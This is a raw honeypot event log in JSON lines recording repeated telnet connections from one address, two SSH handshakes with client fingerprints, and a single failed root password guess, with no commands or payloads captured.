{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56442,"dst_ip":"10.17.0.5","dst_port":23,"session":"b38e980fd3e2","protocol":"telnet","message":"New connection: 24.199.85.165:56442 (10.17.0.5:23) [session: b38e980fd3e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:27.729672Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56456,"dst_ip":"10.17.0.5","dst_port":23,"session":"68994f94ce0e","protocol":"telnet","message":"New connection: 24.199.85.165:56456 (10.17.0.5:23) [session: 68994f94ce0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:27.808459Z"}
{"eventid":"cowrie.session.closed","duration":32.87746810913086,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:27.931690Z","src_ip":"24.199.85.165","session":"bd873d418d7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.642978191375732,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:28.139033Z","src_ip":"24.199.85.165","session":"a019136b1898","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56472,"dst_ip":"10.17.0.5","dst_port":23,"session":"948213bbc2b3","protocol":"telnet","message":"New connection: 24.199.85.165:56472 (10.17.0.5:23) [session: 948213bbc2b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:28.249192Z"}
{"eventid":"cowrie.session.closed","duration":32.082688331604004,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:28.410736Z","src_ip":"24.199.85.165","session":"29399d16dcd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.188790559768677,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:28.414644Z","src_ip":"24.199.85.165","session":"df9636caf8be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.984517335891724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:29.388506Z","src_ip":"24.199.85.165","session":"4ff116093466","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56482,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9ac8c29c86f","protocol":"telnet","message":"New connection: 24.199.85.165:56482 (10.17.0.5:23) [session: d9ac8c29c86f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:29.393420Z"}
{"eventid":"cowrie.session.closed","duration":31.09827470779419,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:29.912817Z","src_ip":"24.199.85.165","session":"7b646ac2853c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56494,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d101f97b6da","protocol":"telnet","message":"New connection: 24.199.85.165:56494 (10.17.0.5:23) [session: 9d101f97b6da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:30.087672Z"}
{"eventid":"cowrie.session.closed","duration":31.687763214111328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:30.818120Z","src_ip":"24.199.85.165","session":"fcb90ce7a3ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56508,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbeaa881979b","protocol":"telnet","message":"New connection: 24.199.85.165:56508 (10.17.0.5:23) [session: dbeaa881979b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:31.034479Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":56520,"dst_ip":"10.17.0.5","dst_port":23,"session":"a01bfddde483","protocol":"telnet","message":"New connection: 24.199.85.165:56520 (10.17.0.5:23) [session: a01bfddde483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:31.940800Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":33050,"dst_ip":"10.17.0.5","dst_port":23,"session":"4eb6073c284a","protocol":"telnet","message":"New connection: 24.199.85.165:33050 (10.17.0.5:23) [session: 4eb6073c284a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:33.117610Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":33062,"dst_ip":"10.17.0.5","dst_port":23,"session":"83b81f86b887","protocol":"telnet","message":"New connection: 24.199.85.165:33062 (10.17.0.5:23) [session: 83b81f86b887]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:33.602103Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":33068,"dst_ip":"10.17.0.5","dst_port":23,"session":"29c9cb893014","protocol":"telnet","message":"New connection: 24.199.85.165:33068 (10.17.0.5:23) [session: 29c9cb893014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:33.876847Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.27.90.142","src_port":60530,"dst_ip":"159.203.135.109","dst_port":22,"session":"066f78339c0f","protocol":"ssh","message":"New connection: 178.27.90.142:60530 (159.203.135.109:22) [session: 066f78339c0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:34.144624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:34.149680Z","src_ip":"178.27.90.142","session":"066f78339c0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:34.254604Z","src_ip":"178.27.90.142","session":"066f78339c0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":33082,"dst_ip":"10.17.0.5","dst_port":23,"session":"274e6ce74d03","protocol":"telnet","message":"New connection: 24.199.85.165:33082 (10.17.0.5:23) [session: 274e6ce74d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:34.525457Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pa$$word@2025","message":"login attempt [root/Pa$$word@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:34.702264Z","src_ip":"178.27.90.142","session":"066f78339c0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":33084,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e17aa1e974f","protocol":"telnet","message":"New connection: 24.199.85.165:33084 (10.17.0.5:23) [session: 3e17aa1e974f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:35.212886Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:35.801954Z","src_ip":"178.27.90.142","session":"066f78339c0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":33100,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac206f5ed1d0","protocol":"telnet","message":"New connection: 24.199.85.165:33100 (10.17.0.5:23) [session: ac206f5ed1d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:35.872672Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":33116,"dst_ip":"10.17.0.5","dst_port":23,"session":"82a5cc665e70","protocol":"telnet","message":"New connection: 24.199.85.165:33116 (10.17.0.5:23) [session: 82a5cc665e70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:37.344824Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":33122,"dst_ip":"10.17.0.5","dst_port":23,"session":"a29f93f02c5d","protocol":"telnet","message":"New connection: 24.199.85.165:33122 (10.17.0.5:23) [session: a29f93f02c5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:37.657466Z"}
{"eventid":"cowrie.session.closed","duration":31.44132161140442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:37.689367Z","src_ip":"24.199.85.165","session":"cc9dfccc2d49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.21428108215332,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:38.526252Z","src_ip":"24.199.85.165","session":"bcca97ad55c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":33130,"dst_ip":"10.17.0.5","dst_port":23,"session":"43b8e46b54f2","protocol":"telnet","message":"New connection: 24.199.85.165:33130 (10.17.0.5:23) [session: 43b8e46b54f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:38.800934Z"}
{"eventid":"cowrie.session.closed","duration":32.07616209983826,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:39.131337Z","src_ip":"24.199.85.165","session":"217265f199dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.40807914733887,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:39.159315Z","src_ip":"24.199.85.165","session":"1fbec2a8d6d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.900357246398926,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:39.375583Z","src_ip":"24.199.85.165","session":"96f87a557bf6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.55222153663635,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:39.454386Z","src_ip":"24.199.85.165","session":"1f6d0b50d070","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":33138,"dst_ip":"10.17.0.5","dst_port":23,"session":"1eaa39a549d9","protocol":"telnet","message":"New connection: 24.199.85.165:33138 (10.17.0.5:23) [session: 1eaa39a549d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:39.909852Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":33150,"dst_ip":"10.17.0.5","dst_port":23,"session":"171c2539221b","protocol":"telnet","message":"New connection: 24.199.85.165:33150 (10.17.0.5:23) [session: 171c2539221b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:40.032698Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":33162,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e003e38ebe4","protocol":"telnet","message":"New connection: 24.199.85.165:33162 (10.17.0.5:23) [session: 8e003e38ebe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:40.526004Z"}
{"eventid":"cowrie.session.closed","duration":32.82000422477722,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:40.674062Z","src_ip":"24.199.85.165","session":"08340d009834","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":33178,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d047467a675","protocol":"telnet","message":"New connection: 24.199.85.165:33178 (10.17.0.5:23) [session: 5d047467a675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:40.726626Z"}
{"eventid":"cowrie.session.closed","duration":32.286304235458374,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:40.798441Z","src_ip":"24.199.85.165","session":"8b6c0b485120","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.06912851333618,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:41.138071Z","src_ip":"24.199.85.165","session":"a62f022635af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.26855659484863,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:41.652948Z","src_ip":"24.199.85.165","session":"8bd53797fb33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":33180,"dst_ip":"10.17.0.5","dst_port":23,"session":"31453ed367b4","protocol":"telnet","message":"New connection: 24.199.85.165:33180 (10.17.0.5:23) [session: 31453ed367b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:41.680950Z"}
{"eventid":"cowrie.session.closed","duration":33.13756728172302,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:41.721864Z","src_ip":"24.199.85.165","session":"903645870c51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.85411071777344,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:41.759863Z","src_ip":"24.199.85.165","session":"8aad33694288","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":33190,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e983b9b2124","protocol":"telnet","message":"New connection: 24.199.85.165:33190 (10.17.0.5:23) [session: 4e983b9b2124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:42.068630Z"}
{"eventid":"cowrie.session.closed","duration":35.37407040596008,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:42.544429Z","src_ip":"24.199.85.165","session":"e9ebe50c9d48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.067510843276978,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:42.646613Z","src_ip":"24.199.85.165","session":"b71fd1bac832","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":44942,"dst_ip":"10.17.0.5","dst_port":23,"session":"e95db04363e8","protocol":"telnet","message":"New connection: 24.199.85.165:44942 (10.17.0.5:23) [session: e95db04363e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:43.056231Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":44952,"dst_ip":"10.17.0.5","dst_port":23,"session":"225aeb7eaa87","protocol":"telnet","message":"New connection: 24.199.85.165:44952 (10.17.0.5:23) [session: 225aeb7eaa87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:43.401603Z"}
{"eventid":"cowrie.session.closed","duration":32.0571985244751,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:45.811921Z","src_ip":"24.199.85.165","session":"f8ce916af698","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.83137798309326,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:47.050169Z","src_ip":"24.199.85.165","session":"9a9aa3adb58f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.223918437957764,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:47.453654Z","src_ip":"24.199.85.165","session":"9f6a9c416d5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.297038316726685,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:47.620391Z","src_ip":"24.199.85.165","session":"27f3ff3a97b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.4323251247406,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:47.663944Z","src_ip":"24.199.85.165","session":"fd4a502535ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.669145345687866,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:47.802193Z","src_ip":"24.199.85.165","session":"1d87191bbf75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.503721475601196,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:48.759621Z","src_ip":"24.199.85.165","session":"9c1675131c62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":44958,"dst_ip":"10.17.0.5","dst_port":23,"session":"149543a5b0e2","protocol":"telnet","message":"New connection: 24.199.85.165:44958 (10.17.0.5:23) [session: 149543a5b0e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:50.124417Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":44964,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dde82d6a342","protocol":"telnet","message":"New connection: 24.199.85.165:44964 (10.17.0.5:23) [session: 9dde82d6a342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:50.218263Z"}
{"eventid":"cowrie.session.closed","duration":31.26657271385193,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:50.736349Z","src_ip":"24.199.85.165","session":"2ebf14f75064","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.66851019859314,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:51.020733Z","src_ip":"24.199.85.165","session":"1f6e2adc9972","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":44968,"dst_ip":"10.17.0.5","dst_port":23,"session":"83caf01346b5","protocol":"telnet","message":"New connection: 24.199.85.165:44968 (10.17.0.5:23) [session: 83caf01346b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:51.041635Z"}
{"eventid":"cowrie.session.closed","duration":31.092796564102173,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:51.274531Z","src_ip":"24.199.85.165","session":"c6f657935da0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.31869101524353,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:51.403349Z","src_ip":"24.199.85.165","session":"0f991b47d05c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.447477102279663,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:51.441359Z","src_ip":"24.199.85.165","session":"29e8d4745cac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"121.122.119.48","src_port":57681,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8a8df765109","protocol":"ssh","message":"New connection: 121.122.119.48:57681 (159.203.135.109:22) [session: e8a8df765109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:51.475567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:51.482035Z","src_ip":"121.122.119.48","session":"e8a8df765109","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.98802828788757,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:51.584128Z","src_ip":"24.199.85.165","session":"be5dbe0f2106","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.38710594177246,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:51.651134Z","src_ip":"24.199.85.165","session":"388527dd19e8","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:51.725823Z","src_ip":"121.122.119.48","session":"e8a8df765109","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.08737063407898,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:51.732250Z","src_ip":"24.199.85.165","session":"72ecd43ed1cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.569756746292114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:52.199691Z","src_ip":"24.199.85.165","session":"251ee2648301","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":45194,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f4572f0424f","protocol":"telnet","message":"New connection: 24.199.85.165:45194 (10.17.0.5:23) [session: 8f4572f0424f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:34:52.516508Z"}
